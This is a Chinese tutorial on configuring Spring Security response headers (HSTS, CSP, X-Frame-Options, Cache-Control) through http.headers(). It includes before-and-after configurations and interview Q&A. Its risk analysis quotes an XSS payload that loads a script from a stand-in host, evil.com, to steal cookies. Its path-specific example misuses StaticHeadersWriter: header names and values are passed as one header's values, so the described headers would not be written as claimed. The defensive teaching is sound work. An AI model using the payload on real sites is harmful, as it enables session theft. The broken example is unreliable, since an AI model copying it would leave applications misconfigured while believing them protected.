安全响应头
Spring Security 通过 HeaderWriterFilter 自动向所有 HTTP 响应添加一组安全响应头,限制浏览器的行为,阻断多种客户端攻击(如点击劫持、MIME 嗅探、XSS 反射、协议降级等)。开发者可通过 http.headers() 精确控制每个响应头的策略。
定义与作用
一句话定义:安全响应头是一组由服务器返回的 HTTP 头,指示浏览器在渲染页面、加载资源、执行脚本时遵循更严格的安全策略,减少攻击面。
Spring Security 的 HeaderWriterFilter 位于过滤器链第 4 位(在 SecurityContextHolderFilter 之后、CorsFilter 之前),对所有经过 Spring Security 过滤器的请求自动写入配置的安全头。Spring Security 5.x 默认启用以下响应头:
| 响应头 | 默认值 | 防护目标 |
|---|---|---|
X-Content-Type-Options | nosniff | 阻止浏览器 MIME 类型嗅探,防止将 .jpg 等伪装文件当作脚本执行 |
X-Frame-Options | DENY | 阻止页面被嵌入 iframe,防御 Clickjacking(点击劫持) |
X-XSS-Protection | 1; mode=block | 启用浏览器旧版 XSS 过滤器(现代浏览器已废弃,Spring Security 6.x 默认关闭) |
Strict-Transport-Security | 默认不启用 | 强制浏览器通过 HTTPS 访问站点,防御中间人协议降级攻击 |
Cache-Control | no-cache, no-store, max-age=0, must-revalidate | 阻止浏览器缓存敏感页面(登录页、个人信息页) |
Content-Security-Policy | 默认不启用 | 限制页面可加载的资源来源,防御 XSS 和数据注入 |
攻击原理与防护流程
核心原理:这些响应头本身不阻止攻击者发送请求,而是限制浏览器在收到响应后的处理行为。例如 X-Frame-Options 不阻止攻击者构造 iframe,而是让浏览器拒绝渲染被嵌入的页面;HSTS 不阻止中间人监听,而是让浏览器后续拒绝建立 HTTP 连接。它们属于客户端安全策略,是服务端对浏览器的安全指令。
核心配置:http.headers() DSL
Spring Security 5.x 通过 http.headers() 配置安全响应头,各子 DSL 独立控制对应头部。
1. 默认配置(全部启用默认策略)
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers() // 默认启用 X-Content-Type-Options、X-Frame-Options、Cache-Control
.and()
.authorizeRequests()
.antMatchers("/public/**").permitAll()
.anyRequest().authenticated()
.and()
.formLogin()
.permitAll();
}
}
2. 精细化控制各响应头
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
// 1. X-Frame-Options:点击劫持防护
.frameOptions()
.deny() // 完全禁止嵌入 iframe
// .sameOrigin() // 仅允许同源嵌入
// .disable() // 禁用(不推荐)
.and()
// 2. X-Content-Type-Options:MIME 嗅探防护
.contentTypeOptions()
.nosniff() // 严格按 Content-Type 解析
.and()
// 3. HSTS:强制 HTTPS
.httpStrictTransportSecurity()
.includeSubDomains(true) // 包含子域名
.maxAgeInSeconds(31536000) // 1 年
.preload(true) // 加入浏览器预加载列表
.and()
// 4. CSP:内容安全策略
.contentSecurityPolicy("default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'")
.and()
// 5. Cache-Control:敏感页面缓存控制
.cacheControl()
.and()
// 6. X-XSS-Protection(Spring Security 5.x 默认开启,6.x 默认关闭)
.xssProtection()
.xssProtectionEnabled(true)
.block(true)
.and()
.authorizeRequests()
.antMatchers("/public/**").permitAll()
.anyRequest().authenticated();
}
}
完整示例一:管理后台全面加固安全响应头
场景说明
企业 admin 管理后台(/admin/**)包含敏感操作(修改权限、删除数据、查看财务报表)。要求全面启用安全响应头,防止被嵌入钓鱼页面、防止缓存敏感信息、强制 HTTPS 传输。
操作前配置(仅默认响应头,HSTS 和 CSP 未启用)
@EnableWebSecurity
public class AdminSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/login").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
.and()
.formLogin()
.loginPage("/login")
.permitAll()
.and()
.headers(); // 仅默认:X-Content-Type-Options, X-Frame-Options, Cache-Control
// ❌ HSTS 未启用:用户可能通过 HTTP 访问后被劫持
// ❌ CSP 未启用:XSS 漏洞可利用外部脚本注入
}
}
风险分析:
- 管理员在公共网络下访问
http://admin.example.com(未强制 HTTPS),中间人可劫持流量、篡改页面内容; - 攻击者构造钓鱼页面,将
https://admin.example.com/admin/users以 iframe 嵌入,配合视觉欺骗让管理员误操作(虽然默认DENY已阻止,但假设其他页面策略被放松); - 如果 admin 后台存在 XSS 漏洞(如某处未转义的用户输入),攻击者可注入
<script src='https://evil.com/steal.js'>,无 CSP 时脚本正常执行并窃取 Cookie。
操作后配置(全量安全响应头)
@EnableWebSecurity
public class AdminSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/login").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
.and()
.formLogin()
.loginPage("/login")
.permitAll()
.and()
.headers()
.frameOptions().deny()
.and()
.contentTypeOptions().nosniff()
.and()
.httpStrictTransportSecurity()
.includeSubDomains(true)
.maxAgeInSeconds(31536000)
.and()
.contentSecurityPolicy(
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline'; " + // 内联脚本用于 admin 后台某些组件
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data:; " +
"frame-ancestors 'none'; " + // 与 X-Frame-Options 双重防护
"form-action 'self';")
.and()
.cacheControl()
.and()
.xssProtection()
.xssProtectionEnabled(true)
.block(true)
.and()
.requiresChannel() // 强制 HTTPS 通道
.anyRequest().requiresSecure();
}
}
结果分析:
X-Frame-Options: DENY+frame-ancestors 'none':浏览器拒绝在任何 iframe 中渲染 admin 页面,即使攻击者使用<iframe>也显示空白;Strict-Transport-Security: max-age=31536000; includeSubDomains:管理员首次 HTTPS 访问后,浏览器在一年内拒绝建立该域及子域的 HTTP 连接,中间人无法降级;CSP:限制脚本、样式、图片、表单提交来源,即使存在 XSS 注入点,外部脚本也无法执行;Cache-Control:登录页和 admin 页面不会被浏览器缓存,公共电脑关闭后无残留;- 配合
requiresChannel().requiresSecure(),Spring Security 直接拦截 HTTP 请求重定向到 HTTPS。
完整示例二:为特定路径定制响应头策略
场景说明
应用同时提供 API 接口(/api/**)和 HTML 页面(/page/**)。API 接口返回 JSON,不需要 X-Frame-Options(JSON 不会被渲染),但需要更严格的 CSP。HTML 页面需要完整的 iframe 防护和缓存控制。
操作前配置(全局统一响应头,API 响应冗余)
@EnableWebSecurity
public class UnifiedSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers() // 全局统一头部,API 和 HTML 都收到相同头
.frameOptions().deny()
.contentTypeOptions().nosniff()
.httpStrictTransportSecurity()
.includeSubDomains(true)
.maxAgeInSeconds(31536000)
.and()
.contentSecurityPolicy("default-src 'self'")
.and()
.authorizeRequests()
.antMatchers("/api/**").authenticated()
.antMatchers("/page/**").authenticated();
}
}
问题分析:API 返回 JSON 时,X-Frame-Options: DENY 无意义(JSON 不是 HTML,不会被 iframe 渲染),而 CSP 的 default-src 'self' 对 JSON 响应也无实际作用。虽然不影响功能,但增加了响应体积,且未针对不同场景优化。
操作后配置(使用 HeaderWriter 按路径差异化)
@EnableWebSecurity
public class DifferentiatedSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/api/**").authenticated()
.antMatchers("/page/**").authenticated()
.anyRequest().permitAll()
.and()
.formLogin()
.permitAll();
// 使用自定义 HeaderWriter 按路径区分
http.headers()
.addHeaderWriter(new DelegatingRequestMatcherHeaderWriter(
new AntPathRequestMatcher("/page/**"),
new StaticHeadersWriter(
"X-Frame-Options", "DENY",
"Cache-Control", "no-cache, no-store, max-age=0, must-revalidate"
)
))
.addHeaderWriter(new DelegatingRequestMatcherHeaderWriter(
new AntPathRequestMatcher("/api/**"),
new StaticHeadersWriter(
"X-Content-Type-Options", "nosniff",
"Strict-Transport-Security", "max-age=31536000; includeSubDomains"
)
))
.defaultsDisabled(); // 禁用默认 HeaderWriter,完全自定义
}
}
结果分析:访问 /page/index.html 时,响应头包含 X-Frame-Options: DENY 和 Cache-Control;访问 /api/users 时,响应头包含 X-Content-Type-Options 和 HSTS。避免了对 API JSON 响应附加无意义的 iframe 和缓存头,响应更精简,策略更精准。defaultsDisabled() 表示完全接管头部写入,避免默认头与新自定义头冲突。
易错场景:CSP 策略配置过于严格导致业务功能异常
面试高频考点:Content-Security-Policy 配置 default-src 'self' 后,前端页面加载第三方 CDN 脚本、内联事件处理函数(如 onclick)或 WebSocket 连接失败,如何排查?
错误场景还原:
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'")
浏览器报错:Refused to load the script 'https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js' because it violates the following Content Security Policy directive: "script-src 'self'".
或:Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self'".
问题分析:CSP 的 default-src 是默认值,但 script-src 一旦显式声明,就会覆盖 default-src 对脚本的定义。上述配置只允许同源脚本,所有第三方 CDN 和内联脚本被阻断。这是一个典型的安全策略过度收紧影响业务的问题。
正确做法:逐步收紧 CSP,先使用 Content-Security-Policy-Report-Only(只报告不拦截)收集违规日志,再调整为正式策略:
.headers()
.contentSecurityPolicy(
"default-src 'self'; " +
"script-src 'self' https://cdn.jsdelivr.net https://cdn.example.com; " +
"style-src 'self' 'unsafe-inline'; " + // 允许内联样式(常见于前端框架)
"img-src 'self' data: https:; " +
"connect-src 'self' wss://api.example.com; " + // WebSocket 连接白名单
"frame-ancestors 'none'; " +
"report-uri /api/csp-report;")
面试追问:X-Frame-Options 和 CSP 的 frame-ancestors 有什么区别?
答:
X-Frame-Options是旧标准,仅支持DENY和SAMEORIGIN两个值,不支持指定具体域名列表,且部分浏览器不支持ALLOW-FROM(已废弃)。frame-ancestors是 CSP 的标准指令,支持'none'、'self'和具体域名列表(如https://partner.com),功能更灵活。现代推荐同时使用二者:旧浏览器认X-Frame-Options,新浏览器认frame-ancestors,形成互补覆盖。Spring Security 的frameOptions().deny()与contentSecurityPolicy("frame-ancestors 'none'")可以共存,不会产生冲突。
核心类速查
| 类 | 说明 |
|---|---|
HeaderWriterFilter | 核心过滤器,向响应写入所有配置的安全头 |
HeaderWriter | 接口,定义写入单个或多个响应头的方法 |
XContentTypeOptionsHeaderWriter | 写入 X-Content-Type-Options: nosniff |
XFrameOptionsHeaderWriter | 写入 X-Frame-Options(DENY / SAMEORIGIN) |
XXssProtectionHeaderWriter | 写入 X-XSS-Protection |
HstsHeaderWriter | 写入 Strict-Transport-Security(HSTS) |
CacheControlHeadersWriter | 写入 Cache-Control 等缓存头 |
ContentSecurityPolicyHeaderWriter | 写入 Content-Security-Policy |
DelegatingRequestMatcherHeaderWriter | 按请求路径匹配,对不同路径写入不同头部 |
StaticHeadersWriter | 写入自定义静态键值响应头 |